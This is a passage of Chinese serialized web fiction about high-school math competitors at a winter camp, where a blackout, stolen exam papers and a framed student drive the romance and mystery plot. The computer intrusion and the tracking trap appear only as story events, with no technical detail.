想到应琮的脑袋里会纠结对方对自己的形容,盛逸只觉她更加可爱,心下软得一塌糊涂。
“她们对你的形容,很贴切。”他轻声道。
“我现在还很像猫吗?”
应琮看向盛逸,头不自觉地微微歪向一侧,迟暮的阳光恰好倒映在她琥珀色的眼眸里,一片暖洋,更加衬托本就姣好的面容明艳不可方物。
被她注视着,盛逸的心跳漏了一瞬。
“当、当然。”他说,声音完全不像自己。
回宿舍的路,说长不长,说短也不短。
应琮没有再继续纠结刚刚的话题,预赛在即,两个人简单聊了聊最近训练的形式和内容,很快就走到了宿舍楼下。
“我上楼了,再见。”
女生宿舍就在眼前,应琮和他道别。
盛逸点点头,心里思忖着自己是不是应该再说些什么,耳朵灵敏地捕捉到应琮轻细的一声咳嗽。
“怎么啦?你身体不舒服吗?要不要喝点润喉的饮料?我们宿舍楼下有个便利店,我可以现在去买。”
他紧张道,一口气说了很多,想当暖男的迫切心情溢于言表。
“你干嘛突然这样?吃错药了?”
应琮不解,自己这同桌竟然还有如此谨小慎微的一面。
事出反常,必定有妖。
“我在你心中就是这种人吗!”盛逸被她眼神里的怀疑刺痛,做作叫屈,“我就不能真诚地关心一下你吗?”
应琮盯着他,但依然无法看懂对方葫芦里卖的是什么药,只得作罢,回答他最初的问题。
“不喝饮料。”她拒绝道,“等下我就要吃晚饭,喝饮料对消化不好……”
应琮顿了顿,毕竟盛逸也是为了她的身体健康着想,自己会不会表现得太冷漠了一些?
于是她又补充了一句:“如果你有吃饭时搭配饮料的习惯,建议你尽快戒掉。这样会加速饭菜糊化的速度,影响血糖。”
“好的。”盛逸面上装得淡定,心里却早已激动地满世界绕圈。
哇噻,应琮远比想象中的还要关心自己!
怎么办,她实在是太完美了!
如果人类能够长出尾巴,那么应琮就会发现,此时盛逸的身后出现了一个螺旋桨。
70. 第 70 章
日暮时分,玻璃外的景色变得朦胧。
时满短时间内应该不会回来,应琮不用顾及打扰到谁,索性直接在宿舍里和妈妈打电话。
现在是寒假,饺子店里的生意不比平时热闹,应雨柔和美芳阿姨也得以好好休息一段时间。
“妈妈,咪咪的身体怎么样了?”应琮关切道。
“本来也没什么大事呀,就是最近吃得比平时少了些。”
应雨柔低头看看自己脚边,咪咪正窝在椅子下,双眸微闭,看起来惬意而悠闲,完全不像需要操心的样子。
并没有被应雨柔的话安慰到,应琮反而紧张起来,一下从趴着的姿势立正坐直了。。
“食欲都下降了,该不会是生病的前兆吧?”
“怎么总是觉得咪咪生病了?”应雨柔避谶意识到位,“医院都说没问题了,而且咪咪依旧很乖,不像是有不舒服的样子,是不是呀?”最后一句她对着小猫,语气轻柔,像哄小孩一样。
“……妈妈,”应琮听出来咪咪在旁边,“你能不能把手机给咪咪,我想听听它的声音。”
“你还是和小时候一样,满脑子天马行空。”应雨柔无奈地笑笑,尊重女儿偶尔才流露出的天真,顺便把手机上的摄像头也打开,放在咪咪的身边。
小猫的脑袋占据了整个手机屏幕,露出自己黑亮的毛发和金铜色的眼眸。
“咪咪。”或者是裴奶奶。
应琮小声道,语气认真。
“你要是最近感受到了什么,有需要提醒我的,一定要记得托梦告诉我。”
小猫轻轻叫了两声,是她们从来没有听过的音调,好像真的在回应。
和咪咪对话完,应琮又和妈妈聊了一会儿。
冬天太阳落山得早,天色在不知不觉中变得昏暗,楼下的路灯星星点点地亮了起来。
“……我看你们这几天会刮风,记得多穿点衣服,风大时就围上围巾。”
在挂断电话前,应雨柔依旧悉心叮嘱。
应琮答应着,余光冷不丁地发现对面宿舍楼栋里,原本明亮的的灯光忽然如风烛摇曳般闪了闪。
几乎是在意识到不对劲的瞬间,她的视野复归于黑暗。
怎么停电了?
*
时满没想到,自己只是去拿个试卷,竟然也能牵扯出一堆非同寻常的事情。
办公大楼的电梯里,不算宽敞的空间里,二人之间一阵微妙的气氛暗暗涌动。
时满看看站在旁边,提着手袋的许文言,心里有几分说不明白的情绪。
说起来,这还是她们两个人第一次单独相处。
“我记得你是这学期才转学来一中的吧,”许文言打破沉默,看着站在另一侧的女生,“没想到你刚转来,就夺走了裴少言万年不变的第一名。”
大名鼎鼎的裴少言,自然是每位老师都时常挂在嘴边激励学生的榜样,许文言自然也不例外。
相较于从高一就声名赫赫的他,转校生时满在年级里要更为低调。以至于很多人都忽略了,她的成绩其实和裴少言的相比,不分伯仲。
知道许文言是有意缓解气氛,时满微微一笑。
“既然能够被我夺走,说明他这个位置也不算是‘万年不变’吧。”
少女的声音清脆,语气里自带一种天然的傲气,还有几分狡黠。
许文言闻言一愣,旋即哈哈大笑,眼眸里闪过一抹赞赏。
“我还以为你是文静内敛型的,没想到这么有个性。”她道。
“很多人都会这样以为,”时满语气轻轻,额前的头发似有若无地遮住眉眼,又变回平时谦逊有礼的样子,“他们可能是被表象骗了。”
二人正在闲谈间,原本正徐徐下行的电梯忽然抖了抖,紧接着厢内变得漆黑一片,只有应急灯在头顶亮着绿莹莹的光。
“电梯是不是停了?”许文言的声音有些掩饰不住的紧张,绿光倒映在她的镜片上,显得有几分吓人。
“应该是,我看看有没有应急电话。”
时满虽然皱眉,但还算镇定,她打开手机上的电筒,顺着电梯按键往上照了过去。
“我活了快三十年,还是第一次经历这种事情。”许文言半是感慨,半是担忧道。
她不过就是开完会动作磨蹭了些,竟然还能赶上电梯停电。
“也算是丰富人生体验了。”时满一手举着电筒,另一只手按下了紧急按钮,居然还有空安慰她。
光线下,她的面容依旧平静,甚至还贴心地提醒许文言:“老师您记得要靠着电梯壁,这样如果电梯突然坠落的话,不容易受伤。”
许文言注视着时满,年轻轻轻的孩子遇险却没有表露出丝毫的慌乱和不安,就像是一切都在自己能够掌控的范围之内。
这样的人做什么都会成功的。
好不容易拨通了电话,负责人的话却又让许文言的心里打起鼓来。
“呃好的,我们等……呃,会尽快派人过来,请耐心地在电梯里等待救援。”
不太专业的话术,“尽快”、“耐心等待”,听起来只是为了安抚情绪而说的话。
但当着学生的面,许文言将心里的不安强压下去,两个人静静地等待着。
时满低头看了看手机,又抬起头。
“老师,您的手机有信号吗?”她问,礼貌中带了几分抱歉,“我的手机现在完全搜不到信号。”
许文言也拿出自己的手机开始研究,发现还有微乎其微的一格信号。
再小的信号,也可能是救命的稻草,她慢慢地在电梯里移动手臂,试图能够改善。
时满凑了过去,在不甚明亮的手机灯的照耀下,眼睑下方的那颗红痣更加明显。
“还是只有一格信号,”许文言眉毛耷拉下来,不死心地戳了戳手机屏幕,“恐怕没办法打出去电话。”就算拨通了,恐怕对面也听不清楚。
“可以试试发短信吧,”时满道,“只是不知道谁在附近。”
许文言沉默着,双手慢慢地打字。
电梯里的应急灯像是再也支撑不住,忽地灭了,厢内黑漆漆的什么都看不清楚。
人的感官像是在这时被放大了无数倍,指尖划过屏幕的声音,衣物摩擦的声音,还有两个人算不上轻松的呼吸声……很小的事情也变得清晰可闻。
“一点都看不见,”时满像是在叹气,“还好应琮没有一起来。”
“她怕黑?”许文言下意识接话,接着才后知后觉自己似乎没抓住重点。
“不知道,”黑暗中,时满的神情看不清楚,“我猜的。”
又等了几个深呼吸的时间,电梯外先是传来一阵脚步声,伴随着“咚咚咚”的敲击声
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,然后是二人熟悉的叫喊声。
“里面是许文言和时满吗?你们有没有事?再坚持一会儿,救援的人再有十分钟就来了!”
哪怕是隔着电梯,许明的声音依然清清楚楚。
原来老师叫了另一个许老师来,时满看了一眼站在自己旁边的许文言。
“如果你们听得到我说话的话,就敲两下门。”许明道,他也是完全不顾形象了,几乎是扯着嗓子在喊。
按照他说的,许文言用力敲了敲电梯紧闭的门。
能听见就好,许明这才松了一口气。
因为着急,即使是冬天,他此时依旧满头大汗,眼镜上也蒙上一层白色的水雾。
学校的处理不算太慢,终于在停电一个小时后,电梯里的应急灯重新亮了起来,在外面两三个工作人员的帮助下,许文言和时满缓缓走出电梯。
所幸,二人只是脸色有点苍白,并无大碍。
“还好没事,”许明认真地打量着两个人,心有余悸,“不然还不知道回去该怎么交代呢。”
“意外,谁也预料不到。”许文言耸耸肩,“幸好是两个人一起。”
她拉过时满的手,两个人的手一样冰凉。
“那是,不然恐怕有人又要因为怕黑吓哭了。”许明自然道。
他这话说得过分亲昵,时满投去奇怪的眼神,眉头也不由得皱了起来。
许文言注意到了她表情的变化,连忙解释:“别在意,他说的是我。”
说罢,她狠狠瞪了一眼不分场合乱说话的许明。
时满的眉头皱得更深了,默默跟着她走了一会儿,终于在楼梯转角处忍不住开口。
“老师,我也不是一个爱好八卦别人私生活的人。只是想要确认一下……”
“您和许老师,是我认为的那种关系吗?”
她咬着唇,瞥了一眼走在另一边的许明,似乎是有些难以启齿。
竟然会选择和同事进行职场恋爱,成年人的世界还真奇怪。
“什么?”
两个许老师异口同声起来。
许文言很快就反应过来了,毫不客气地抬手给了许明一拳。
然后在时满略显震惊的眼神中赶紧自证清白。
“我和他是堂兄妹!”
时满愣住了,半天才憋出来一句:“啊?”
许文言扶额苦笑:“本来是需要回避的,但是因为校长说学校太缺数学竞赛类的老师了,我的职位也没有什么特殊性,所以还是招了他来。”
许明哼哼了两声,“说起来,她虽然比我小,但是比我还多上了一年班。”
“没办法,”许文言耸了耸肩,“我是正经应届校招进来的。”
这时,时满才意识过来自己刚刚究竟说了多么“大逆不道”的话,瓷白的脸几乎是在瞬间变成了红色。
“对不起老师们,”她声如蚊蚋,“我不该误会你们之间的关系。”
“没关系,”许文言毫不在意,满脸笑意,“说起来……你还是年级里唯一知道我们是兄妹的学生,就连很多老师都不知道呢。”
许明也笑呵呵的:“我还以为自己假装得很好呢,没想到被你看穿了。不愧是我的得意门生!”
他毫不客气地将只带了短期的时满,归为自己的学生。
时满:……exm?
71. 第 71 章
原本以为停电只是学校供电检修发生的一个小插曲,然而当次日清早,应琮他们师生几人被紧急通知来到会议室集中时,才后知后觉,事情的缘由远比他们想象当中的还要复杂。
冬天本来就容易困,更何况天甚至都没有完全大亮,应琮感觉自己的脸和眼睛都还是浮肿的,心情也不是很好。
到底有什么大事不能在群里通知?
会议室里坐着许多老师和领导,就连第一天负责接待他们的张主任也在,所有人像是等待已久,脸上的表情严肃而凝重。
刚一走进去,被这股氛围侵染着,几人轻手轻脚地在专门为他们空着的位置上坐了下来。
本来通知里只有参加数学竞赛的同学需要过来,盛逸早上恰好正与应琮她俩一起吃饭,看到通知后,不由分说地以消食的借口也跟了过来,并且敏锐地抢到了应琮手边仅剩的位置。
“张老师,”许文言显然也不清楚突然开会的原因为何,“是有什么急事通知吗?”
左看右看,似乎只有他们一中的师生被叫来了会议室,着实奇怪。
“许老师,是这样的……”张主任沉吟半晌,似乎在斟酌怎么开口,“原本要在今天上午考试的卷子,在昨天泄露了。”
随后他将事情向众人娓娓道来。
原来昨天的停电虽然是意外,却有人趁着学校里的电力系统失灵时,悄悄潜入了专门存放竞赛试题的保密室,偷走了题目。虽然监控和保密室的电子门锁都因为断电而无法正常工作,但存放试题的电脑上能够清楚在后台看到有人登录并转移题目的痕迹。
应琮下意识转头,和盛逸对视一眼,都从对方的眼睛里看到了不可置信。
这可是国家级的正式比赛,到底是出于什么心态,竟然有人铤而走险到这种地步。
“……如果现在能够坦白的话,这名同学还能够继续保留参加决赛的资格。”
一名女老师委婉地劝说,有意无意地瞥了一眼坐在对面默不作声的许文言。
“盗窃这个行为是非常恶劣的,这事有关于人品道德,我认为就应该直接取消他的考试资格!”
另一名男老师听她还在打圆场,立即急躁怒声道,额头上皱出“川”字纹。
张主任也深深蹙眉。
“听张老师的意思,”许文言的反应再迟钝,此刻也从一个唱白脸一个唱红脸的状况中隐约猜到了几分,“难道是在怀疑我们一中的学生了?”
她眉头紧皱,看着面前远比自己成熟许多的老师们,顿感问题棘手,且事发突然,不好应对。
“既然许老师都这样说了,我们也打开天窗说亮话。”张主任道,“我们也承诺今天大家在房间里谈的任何,都不会向外界泄露分毫。”
他转头,看向坐在许文言旁边的几名学生,意有所指地缓缓开口。
“保密室的电脑里存放着三次淘汰赛的试题,甚至还经过了加密处理。那么昨晚经过校内专业人员的确认,发现是……裴同学入侵了我们的电脑。”
“还希望贵校能给我们做出合理解释。”
会议室里的氛围瞬间化作一口盛满沸水的铁锅,所有人都从清晨的困意中惊醒了。
裴同学?
裴少言?!
偷走了竞赛的试题?
“这不可能!”
许明和应琮几乎是同时出声反驳道。
盛逸原先还在悠闲地翘起二郎腿,闻言也不禁挑眉。
不得不说,即使他看不惯裴少言处理感情问题的态度,却也相信他不会做出这种事。
一中师生都第一时间站在了裴少言这一边,其中以指导老师许明最为激动。
开什么玩笑,无论是之前在校内还是来到冬令营的几次模拟练习,以裴少言的实力,即使是正式决赛,拿到金牌也如探囊取物。
在这个节骨眼上,何必要铤而走险去偷走选拔赛的所有题目呢?
更不必说他向来都是品学兼优的好学生,窃题这种投机取巧的事,大家都坚信他不会干,也不屑于去干。
“就我们目前手头上掌握的证据而言,”张主任明白他们的意思,但他有必要的坚持,“是裴少言同学的U盘,插入了存放试题的电脑,并且复制了里面的所有试题。”
“U盘又不是什么只有他自己才能拿的东西,”许明被他们理所应当的态度惹怒了,语气很冲,“如果不小心掉了,被有心之人拿去利用了呢?”
“少言,”许文言顺势接道,“你的U盘呢?”
坐在最外侧的裴少言,身处风暴中心的台风眼,却至今没有为急着为自己辩护一句。
“前两天不见了。”他说,眉心微蹙。
“你看,他说弄丢了!”许明激动起来,“所以我认为这件事不能武断地就怀疑我们的学生,学校应该再细致地调查!”
“明天就要正式开始选拔淘汰赛了,”先前说过话的男老师表情不耐,显然对他们造成的麻烦很反感,“惹出来这档子事,现在我们还要启用备用题。”
“备用题目本来不就是为了这种情形而准备的吗?”许明道,隔着眼镜,睨了睨对方。
“除了这个,”见几人说着说着倒像是有吵起来的趋势,疲惫的张主任又拿出一个证据来,“在停电前,监控的确拍到了裴同学出现在保密室附近的身影。”
“保密室并不在教学区,平时的课程训练也并不会来到附近……对于这个,裴同学又作何解释?”
那天结束训练后,他们和之前一样都是各忙各的,除了应琮和盛逸待在一起,其他人都是独自行动。
这无疑是一个对他很不利的证据。
应琮看了一眼裴少言,眼神充满担忧。
圆桌边坐着的老师们,也都注视着那个面容清俊,沉默寡言的少年。
“……我只是路过,”裴少言沉默两秒,然而说出来的话并没有多少力量,“没有进入过保密室。”
“真的没有进入吗?”张主任追问道,眼神里透着多年身居高位的气势,“实不相瞒,那时的电子门锁已经失灵,想要进去也并非难事。”
“张老师,”见对方咄咄逼人,原先还想要保持冷静的许文言,语气里也带上隐隐怒气,“您的这番话里,是不是带了对他先入为主的成见呢?”
话不投机半句多,几名老师各有各的立场和看法,一时之间谁也说服不了谁。会议室里的气氛如一面越绷越紧的鼓面,仿佛下一秒就会爆开,从中裂出一个
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丑陋的口子。
无论众人或愤怒或急躁,裴少言都没有再开口说一句话,坐在角落里,眼睫低垂,似乎也有诸多不解。
毕竟学校也只有间接证据,而许文言和许明又坚决捍卫自己学生的清白,真相无从得知。而老师们在争吵,坐在一边的应琮他们不仅人微言轻,同学身份也不方便开口替裴少言辩解。
最终,许文言甩下一句话后,便硬气地带着他们离开了会议室。
快步走出身后的建筑一段距离后,她脸上的表情逐渐从愤怒转变为凝重。
“一定有人要陷害少言,”许文言认真道,又看向风暴中心的学生,每一个字都掷地有声,“你别怕,我们一定会还你一个清白。”
几人都点点头,胸腔中涌动着许多说不清道不明的情绪,倒同仇敌忾起来。
裴少言喉结动了动,也有些动容的样子,“谢谢。”
*
许文言和许明要去其他地方寻找证据,叮嘱学生们暂时不要轻举妄动后便匆匆离开。
参加物理竞赛的学弟,在刚来到的第三天,就因为水土不服而频频生病,最后不得不提前退赛;所以一中阵营里,兜兜转转只剩下熟悉的四个人。
应琮、时满、裴少言和盛逸站在原地相互看看,谁也没有先开口,沉默片刻后,大家不约而同地往学生公寓楼的方向走去。
时满边走边低头在手机上梳理方才在会议室里发生的事情,手指打字纷飞,试图能够从中找出什么蛛丝马迹。
盛逸的表情也不太好。
这事实在太奇怪了,光是闹停电丢了试题就已经够罕见的,还莫名其妙多了一出移花接木栽赃陷害。目前他只能将目标锁定在数学组的利益相关上,不然没必要只偷一科题目。
这样一看,小偷似乎也不是很聪明。
他还在绞尽脑汁扮演福尔摩斯,就听见身后的应琮终于开口了。
“你为什么不为自己的清白辩解?”她在问裴少言。
盛逸一下从思绪中抽离,忍着自己想要回头的冲动,脚步故意放得慢了些。
“没什么好说的,”裴少言道,“他们没有确凿的证据证明是我偷了试题,我也没有确凿的证据说明自己的清白。”
应琮替他不平,“可是这样他们的心里就种下了一颗怀疑的种子。”
虽说清者自清,可她语文再不好,也知道世界上还存在另一个词叫“众口铄金”。万一学校拿不出更多的证据,却也还是逼着他退赛呢?
应琮知道竞赛对于他而言,有多么重要。
尤其是……他还有一个控制欲极强的父亲,在赛前专门请了教练给他集训的情况下。
见她的眉毛一直拧着,裴少言情不自禁地抬手,在即将碰到她脸的刹那又突兀地放了下来。
“……我的事,不值得你这么烦恼。”
看着他黑白分明的眼眸,应琮忽然感到很无奈,一瞬间丧失了继续往下走的力气,停下了脚步。
裴少言总是这样,惯于将自己放在离人群很遥远的地方,孤高又冷淡;和自己划分着清楚的界限,理智又清醒。
就像是一只无论如何也不会低头弯腰的鹤。
离群索居,遗世独立。
72. 第 72 章
似乎每一所大学里,总会有一片或大或小的湖泊。
清晨,在周遭树木的映衬下,轻雾也泛着绿色。在整个大学校园还没有完全苏醒的时候,两个身影已然静静立在湖边。
一个路过带着早餐,骑车赶去上早八的大学生频频投去眼神,好在他们看着不像要轻生的样子,这才安心往课室驶去。
氛围的确不算凝重,和湖边寻死也靠不上边,但没有人主动开口打破沉默。
稍矮一些的中年男人用皮鞋碾灭香烟,目光从旁边渐渐远离的单车收回,回头冷淡地瞥了一眼自己面前的少年,毫无预兆地抬手打了他一个耳光。
猝不及防的耳光,在清晨拉开了一道口子,少年如玉的脸庞上很快泛起红色。
“没想到你这么没用,连如此明显的做局都看不出来,傻乎乎地就中了圈套。”
虽然是在斥责儿子,裴名却不像痛心疾首恨铁不成钢的模样,也许是他在那个位子上久了,习惯掩饰自己的情绪,除了对这个羽翼未成且常年隐忍的儿子动手。
也可能是他并没有对裴少言能继承他的手腕有过多期望,不期望就没有失望。
裴少言并不是第一次挨打,被打后的脸触及带寒意的空气会变得更加火辣,仿佛上面密密麻麻插满了无数的小针。
他其实庆幸刚刚那个大学生没看到这个场景,即使独处时裴少言一万次唾弃自己,但作为一个十七岁的少年,他始终保有人前的自尊心。
“你知道爸爸我听到郭叔叔说,你在学校偷了题目作弊有多紧张吗,”裴名没有关注裴少言的情绪,在口袋里摸到打火机拿出来,“我立马就让秘书推掉今天的会议,坐飞机过来了。”
裴名捏住手里的打火机,想到最近体检医生叮嘱最好少抽烟,便又按耐下来,重新将其放进西裤口袋里。同时他好像又突然反应过来,这是自己唯一的血脉,即使再怎么养不熟,也得演一下父子间该演的戏。
“虽然爸爸相信你不会做出这么蠢的事情,但学校里的其他老师又不了解你,到时候找不到真正的小偷,把你给禁赛了怎么办?”
要不是他早就和学校老师打过招呼通过气,要对方多多关照,出事时人家及时和自己通风报信,他都不知道裴少言这个脑子能够蠢到这种份上。
这件蠢事究竟是谁做的不重要,就算是裴少言,也可以不是他。
老裴背着手,笑容的弧度微敛。
裴少言置若罔闻,哪怕是刚刚被打,他的表情也没有一丝变化,凝望着无风无波的平静湖面。
其实他一开始不是没想过,倘若这个比赛自己被取消资格了,会不会像一记耳光打在裴名装模作样的脸上,让他在同僚上级面前的教育家形象破灭。
但随即他又想到,以裴名的作风,大概率对方会将自己撇得一干二净,对外宣称是他的妈妈,以及姥姥、姥爷的错。
所谓“上梁不正下梁歪”。
想到姥姥,他闭了闭眼,想到了事发当天傍晚的事情。
*
下午开完讲座,剩下的时间都可以任由他们安排。
因为和主讲教授在会后交谈得忘了时间,当他再次走出报告厅时,已经没有人还留在那里。落日沉沉,更加看不见应琮的身影,裴少言心里无端有些不安情绪。
前几天,自从他看见应琮打电话时忧心的面貌,他就连续几天晚上梦到一些古怪的、破碎的画面。
一会是应琮急着扑来找他说“出事了”,但是无论他怎么问都问不出所以然;一会是梦到他姥姥死前的模样,病重到难以清醒的老人紧紧抓住他的手,对他说“不要和你爸对着干、不要冲动、不要受伤……”
每一个梦都让他中途惊醒,汗水涔涔。
他将这些归结为压力过重导致,选用了些助眠的药物试图解决。
但阴云依然盘旋在他心中,只是裴少言蹙眉已成习惯,也无人发现。
从噩梦回忆里回神,他想起老师的话,便往办公大楼走去。
才刚走到两栋楼之间的架空层,口袋里的手机忽然剧烈的震动,发现是一个没保存过的账号给他发来信息。
【同学,我刚刚路过保密室的时候,从窗户外看到有一个女生被关在里面。看样子像是你们学校的参赛选手。】
裴少言心里的不安在这一刻被放大,还没有来得及回复,对方又发来一条。
【是留着卷发,个子高高的那个漂亮女生。好像因为学校突然停电,电子锁失灵了,她被关在里面出不来。】
看清楚对方的描述,裴少言的脑袋“嗡”的一声发出轰鸣。他想也不想,几乎是瞬间就调转了方向,一边靠记忆回想来到学校第一天时参观的地图,一边快步跑去。
他记得应琮怕黑,尤其是害怕独自呆在密闭的空间里。
现在她一个人呆在保密室里,叫天天不应叫地地不灵,一定会害怕。
裴少言不喜欢看到梦里那样,应琮的脸上露出害怕、瑟缩和悲伤的表情,她应该是自信的、开心的。
这样想着,他两步并作一步,用最快的速度爬着楼梯来到了保密室所处的楼层。
果然停电了,走廊里只有紧急逃生的牌子散发着微弱的荧光。
顾不得喘息,他举起手机,一点点地顺着门牌扫去。
看到保密室的门牌后,裴少言就要拧动门把手进去,就在手即将放上去的一瞬间,他忽然颤抖了一下,缩回了手。
保密室没有对着走廊的窗户。
他又再次举起手机,就着手电筒发出的白光仔仔细细地看了一遍。
别说是一扇窗户,就连一个小洞也没有,唯一能看见室内的,恐怕也只有门下面那道缝隙。
裴少言站定,看着门。
应琮不在这里。
他当然没有透视眼,但他也反应过来了,自己中了别人的圈套。
但裴少言的第一反应居然是松了一口气。
*
“……总之,你现在最大的任务就是好好准备比赛,”裴名道,语气放缓,好像刚才不是自己打了他一样,“别担心,这件事我来解决。”
裴少言回过神来,见对方一副想让自己感恩戴德的模样,不由得开口嘲讽:“你还真是神通广大。”
“当然了。”
裴名假装没有听出来他的阴阳怪气,反倒颇为自得地点点头。
多年的官场生涯,他从一无所有到如今的如日中天,这其中固然艰辛,但也少不了收获,为愚蠢的儿子解决这点小事不在话下。
倘若裴少言能再聪明一点,识时务一点,自己也能给他助力,让他的未来能够平步青云。
“你带我
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逛逛这个大学吧,”裴名话锋一转,像一个寻常的父权制家庭里的上位者那样要求道,“等下中午我带你去和郭叔叔一起吃饭,你们俩也该认识认识。”
裴名在上位者的位置上坐久了,便忘了做戏做全套的道路,时不时就在裴少言面前人格分裂。
听着他洋洋自得的安排,裴少言不耐地皱了皱眉头,思考自己转身就离开的可能性有多大。
然而突然的电话铃声,打断了他的思考。
老裴从口袋里拿出手机,低头看了眼屏幕上的号码后,迅速换上平时对待外人的和蔼态度。
交谈几句后,他绝口不提刚才约好要吃饭的事情,独自匆匆离开。
甚至没有告诉裴少言,他要去干嘛。
望着对方不算高大的背影渐行渐远,裴少言忽然有些无力,他随便找了个湖边的长椅坐下。
晨雾散得差不多了,远处的风景也在日光下明朗起来。
脸上的痛感残留。
裴少言垂眸,那人总是这样,说话只随自己的意思,什么约定、誓言,他统统不放在眼里,世界就好像是围绕着他来转的一样。
自信到狂妄了。
小时候的回忆像潮水一样涌上心头,裴少言独自坐在湖边,安静地消化掉心里复杂翻涌的情绪,很长一段时间后,这才缓步离开。
看到长椅边的少年离开,另一边大树后的人,快速地闪身出来。
他一屁股倒在长椅上,弯腰揉着自己因为紧张而僵硬的小腿肌肉。
盛逸没想到,自己难得想要围着湖晨跑一下,结果就撞上了裴少言父子。
虽然隔得远,两个人之间的对话完全听不清楚,但他还是清清楚楚看到了裴父扇过去的,结结实实的一个耳光。
平心而论,裴少言除了个性冷漠,情商不明外,盛逸觉得他已经算得上是“别人家的孩子”。不说成为家长毕生的骄傲,至少也不应该被家暴。
不对,无论是好学生还是差学生,都不应该被家暴。
回想裴父出手前,脸上依然是风轻云淡的笑容,令盛逸这个常常和亲爸叫板的“逆子”不寒而栗。
裴少言到底生活在怎样的家庭里?
*
“你回来啦~”
裴少言刚一推门,坐在书桌前的王子蘩便热情地招呼道。
“裴市长是不是来了,”他自然地问,“今天工作不忙?”
“你怎么认识他?”裴少言语气直接,就连他的同班同学,也很少有人见过老裴。
更不知道他的身份。
“刚刚叔叔来宿舍找你的时候,我刚好也看到了。”王子蘩笑笑,“毕竟我也是在江城土生土长的人,经常能在电视上看到裴市长,自然也就认出来了。”
裴少言定定地看着他,没有错过对方在扬起笑脸时,嘴角不自然的弧度。
注意到他在观察自己,王子蘩不动声色地扭回头,继续盯着电脑上的模拟题。
见状,裴少言忽然露出一个笑,如冰雪消融,又似冷笑。
“在江城出生长大的人千千万,可能够仅凭一面之缘就认出自己市长的,恐怕屈指可数。”
王子蘩没有应他,模拟题悄悄翻了一页。
他知道是谁陷害自己了。
裴少言心想,还真是令人意内的结果。
73. 第 73 章
“去年我们学校就出了三个保送生,该不会惹了眼,今年有人故意要针对一中吧?”
咖啡厅内的隐蔽角落,许文言眉头紧锁,去年没有地理的竞赛生,她也没太关注学校这方面的内容。
事情发生之后,许文言第一时间上报了校领导,于是收到了向来以学校集体荣誉为首的教导主任给她私发来的猜测。
昨晚主任一通分析,论据包括阴谋论、职场厚黑学、心理学,甚至是星座玄学,简直要把目标锁定在友校副校长身上了,差点把她给说服了。
“不至于上升到学校层面,”许明埋头在自己的电脑上飞快地打字,不忘安慰道,“应该只是哪个学生想走捷径了。”
“话是这么说,可要是找不出来这个学生,裴少言的名声就要毁了……而且还会影响他比赛发挥。”
许文言也是从学生时代过来的,她知道像裴少言这种心高气傲的好学生,眼里容不得一粒沙子,自尊心比钢筋都要强。
更别说是当着许多人的面,被明晃晃地陷害了。
“我是他的老师,我当然也为他考虑。”许明顿了顿,将电脑屏幕转向她,“而且,我已经想到方法了。”
“什么?”
许文言将信将疑地看过去。
页面上是他和别人的聊天界面,其中夹杂着一个已下载的压缩文件。
“还好当年选了这个专业,我拜托了我的大学舍友,让他做了一个可以追踪电脑的小东西。”
许明无不骄傲地介绍起他靠谱的关系网,镜片闪着微光。
名校出身,他的校友中不乏人中龙凤,自己选择成为一中的数学老师,已经算是较为“没出息”的一位。
“只要有U盘插入了自带插件的电脑并且打开了特定的文档,那么就可以顺着用户信息找出对方所用的电脑。”
“既然都大费周章地偷题目了,没道理不会打开看一眼里面的内容。”他道,“只要ta敢打开看,哪怕一眼,咱们就能立刻知道是谁偷了题目!”
自己刚才已经尝试过了,追踪成功的效率基本上是99%以上。
“人不会踏入同样的河流。”见他胸有成竹的模样,许文言泼了一盆凉水,“你怎么能保证第二次去窃题的,就是一开始的人?万一冬令营内部出现了模仿犯怎么办?”
“……”
许明默了片刻,这才重新开口:“那,反正先看看学校那边怎么说。”
说一千道一万,他们的目的还是帮助裴少言找出真正的始作俑者,洗清他的清白。
可万一学校不想添麻烦,一心就是想要禁止裴少言参赛呢,毕竟他们也不可能绕过主办方去设计陷阱。
正式的比赛迫在眉睫,哪怕未成年人犯错误的成本很低,但是于公于私,也不能眼睁睁地让那人逍遥法外。
许文言立刻联系了负责冬令营项目的张主任,一番沟通下来,对方的态度模棱两可,只说自己要先去请示一下学校管理层的领导们。
无奈,许文言和许明只好老老实实地等通知。
在等待的期间,两个人将详细实施的计划对了一遍,力求算无遗策;甚至还分角色扮演,揣摩其对方的作案动机和心理状态。
不知等了多久,窗外的景色已经被夜幕笼罩,校方的信息这才姗姗来迟。
“怎么说?”许明凑了过去。
许文言眯起眼睛,露出一个笑来:“他们同意我们去操作,并且愿意再拿出一套备用题来当陷阱。”
许明长舒一口气,看来他们还是愿意相信裴少言,愿意给他一个机会。
“接下来,就是请君入瓮的时候了。”
*
“王子蘩,已经很晚了,你有什么要紧事要处理吗?”
裴少言躺在自己的床上,语气不算很客气。
入住第一天,两个人就互相达成了协议:零点必须关掉房间里的灯,保证正常的睡眠。
“现在关。”
闻言,王子蘩赶忙放下手机,利索地从自己的床上下来,关掉房间里的灯。
室内虽然归为黑暗了,但他面前的手机,依然发出亮光。
【后天就是比赛了,为什么他还没有退赛?】
王子蘩用被子蒙着头,把手机亮度调到了最低,生怕会被睡在旁边的裴少言注意到。
而手机那头的信息停顿了一会儿,他已经有些不耐烦了,才看到两条信息弹了出来。
【明天】
【明天一定让他退赛。】
王子蘩拧眉,表情被惨白的手机光衬托得有些阴森,完全看不出日常白天阳光灿烂的影子。
【明天,我安排的那些大v也会开始在网上发通稿。在校内,你最好把事情搞得大一点,让其他学校的人也知道是裴少言偷了题目。】
【好的。】
见那头唯唯诺诺地答应了,王子蘩才打住了继续信息轰炸的念头。
放下手机,王子蘩将被子掀开一个小缝,凉凉的空气钻了进来。
实际上他根本不想再继续前往保密室,危险系数太高,如果不是他花钱雇的枪手太反骨,死活不敢去,他也用不着亲身犯险。
一次停电是巧合,如果在这个节骨眼又停电,学校总会产生怀疑。
而且,他也不知道该怎么把裴少言再次骗到保密室去。
想到这个,王子蘩借着屋内的黑暗,扭脸注视着裴少言的床位。
裴少言,江城市长裴名唯一的公子。
明明已经有显赫的家世了,不学习都可以有书读,还要来参加数学竞赛,挤占别人的保送名额。
虽然王子蘩也不是什么布衣百姓,但他自认为没有裴少言那么幸运。
毕竟裴少言有钱有权的爸只生了他一个。
而王子蘩最不缺的就是兄弟姐妹,他必须要在一堆妖魔鬼怪之间脱颖而出——最简单的手段,就是让自己表现得像个天才。
哪怕学业上的表现不是争夺家产最重要的一环,他也可以靠打击裴少言来展现自己的能力,谁让裴名胃口那么大?一个靠倒插门发家的赘婿而已,也能抢他们家蛋糕。
